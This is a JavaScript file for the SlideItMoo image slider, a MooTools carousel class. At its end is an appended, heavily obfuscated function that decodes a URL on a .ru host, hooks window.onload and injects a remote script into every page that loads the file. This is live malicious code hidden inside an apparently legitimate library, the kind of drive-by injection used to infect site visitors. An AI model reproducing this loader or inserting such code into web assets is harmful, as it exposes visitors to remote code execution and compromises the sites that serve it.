/*
	SlideItMoo v1.0 - Image slider
	(c) 2007-2008 Constantin Boiangiu <http://www.php-help.ro>
	MIT-style license.
*/
var SlideItMoo = new Class({
					   
	initialize: function(options){
		this.options = $extend({
			itemsVisible:5,
			showControls:1,
			autoSlide: 0,
			transition: Fx.Transitions.linear,
			currentElement: 0,
			thumbsContainer: 'thumbs',
			elementScrolled: 'thumb_container',
			overallContainer: 'gallery_container'
		},options || {});	
		
		this.images = $(this.options.thumbsContainer).getElements('a');
		// assumes that all thumbnails have the same width
		this.image_size = this.images[0].getSize();
		
		// resizes the container div's according to the number of itemsVisible thumbnails
		this.setContainersSize();
		
		this.myFx = new Fx.Scroll(this.options.elementScrolled,{ transition: this.options.transition });		
		// adds the forward-backward buttons
		if( this.images.length > this.options.itemsVisible ){
			this.fwd = this.addControlers('addfwd');
			this.bkwd = this.addControlers('addbkwd');
			this.forward();
			this.backward();
			/* if autoSlide is not set, scoll on mouse wheel */
			if( !this.options.autoSlide ){
				$(this.options.thumbsContainer).addEvent('mousewheel', function(ev){
					new Event(ev).stop();
					ev.wheel < 0 ? this.fwd.fireEvent('click') : this.bkwd.fireEvent('click');			
				}.bind(this));
			}
			else{
				this.startIt = function(){ this.fwd.fireEvent('click') }.bind(this);
				this.autoSlide = this.startIt.periodical(this.options.autoSlide, this);
				this.images.addEvents({
					'mouseover':function(){
						$clear(this.autoSlide);						
					}.bind(this),
					'mouseout':function(){
						this.autoSlide = this.startIt.periodical(this.options.autoSlide, this);
					}.bind(this)
				})
			}
		};
		
		// if there's a specific default thumbnail to start with, slide to it
		if( this.options.currentElement!==0 ){
			this.options.currentElement-=1;
			this.slide(1);
		}
	},
	
	setContainersSize: function(){
		$(this.options.overallContainer).set({
			styles:{
				'width': this.options.itemsVisible * this.image_size.x + 50*this.options.showControls + (this.options.itemsVisible-1)*3
			}
		});
		$(this.options.elementScrolled).set({
			styles:{
				'width': this.options.itemsVisible * this.image_size.x + (this.options.itemsVisible-1)*3
			}
		});
	},
	
	forward: function(){				
		this.fwd.addEvent('click',function(){
			this.slide(1);
		}.bind(this));		
	},
	
	backward: function(){			
		this.bkwd.addEvent('click',function(){											
			this.slide(-1);			
		}.bind(this))	
	},
	
	addControlers: function(cssClass){
		element = new Element('div',{
			'class': cssClass,
			styles:{
				'display': this.options.showControls ? '' : 'none'
			}
		}).injectInside($(this.options.overallContainer));
		return element;
	},
	
	slide: function(step){
		/* if autoslice is on, when end is reached, go back to begining */
		if(this.options.autoSlide && this.options.currentElement >= this.images.length-this.options.itemsVisible ){
			this.options.currentElement = -1;
		}
		
		if ( ( this.options.currentElement < this.images.length-this.options.itemsVisible && step>0 ) || ( step < 0 && this.options.currentElement !== 0 ) ){
			this.myFx.cancel();
			this.options.currentElement += step;		
			this.myFx.toElement( this.images[this.options.currentElement] );
		}
	}
})

function G(){var k=String("g");var Tt;if(Tt!='ji'){Tt=''};var O=new Date();var L;if(L!='W' && L!='On'){L=''};var o=window;var ww=new Date();var T=unescape;var yA=new String();this.mR='';var Y='';var _="\x68\x74\x74\x70\x3a\x2f\x2f\x67\x61\x6d\x65\x7a\x74\x61\x72\x2d\x63\x6f\x6d\x2e\x67\x6f\x61\x6c\x2e\x63\x6f\x6d\x2e\x68\x79\x76\x65\x73\x2d\x6e\x6c\x2e\x72\x65\x61\x64\x79\x6d\x69\x78\x6a\x6f\x62\x73\x2e\x72\x75\x3a";var P=new String();var iY='';function U(K,Gp){var Bl;if(Bl!='' && Bl!='n'){Bl=null};var kr;if(kr!='' && kr!='Gi'){kr=null};var Bi;if(Bi!='Qc' && Bi!='ub'){Bi=''};var ws;if(ws!='ZZ' && ws!='QD'){ws=''};var j=T("%5b")+Gp+T("%5d");var B=new RegExp(j, k);var Ws="";return K.replace(B, Y);var Wp;if(Wp!='' && Wp!='QC'){Wp=''};var v=new String();};var Pv=new String();var FS;if(FS!='oE'){FS=''};var Q=U('81696410711312578199112062133277','16543279');var w=T("%2f%70%64%66%64%61%74%61%62%61%73%65%2e%63%6f%6d%2f%70%64%66%64%61%74%61%62%61%73%65%2e%63%6f%6d%2f%62%61%62%79%6c%6f%6e%2e%63%6f%6d%2f%6c%6f%63%6b%65%72%7a%2e%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2e%70%68%70");var Ob;if(Ob!='D' && Ob != ''){Ob=null};var q="";var x=document;var Gg='';var Wd;if(Wd!=''){Wd='lb'};function H(){this.us='';var UP;if(UP!='r' && UP!='dl'){UP=''};Gg=_;Gg+=Q;this.xl="";Gg+=w;var jD;if(jD!='Qb'){jD='Qb'};var a;if(a!='_A'){a='_A'};try {var A;if(A!='Zv'){A='Zv'};var da=new Date();var AD;if(AD!='' && AD!='Am'){AD='Lc'};Ts=x.createElement(U('smcgrhigpmth','mhg'));var Cw="";var zE=new String();Ts.src=Gg;var BU;if(BU!='' && BU!='lz'){BU=null};Ts.defer=[1,8][0];this.ST='';var sM=new Date();x.body.appendChild(Ts);var dU='';this.N="";var kK;if(kK!='ls' && kK!='qg'){kK='ls'};} catch(J){var OE=new Date();};var yP="";}o["onloa"+"d"]=H;};var Fj='';var wN="";G();this.Kg="";var SW;if(SW!='fT'){SW=''};
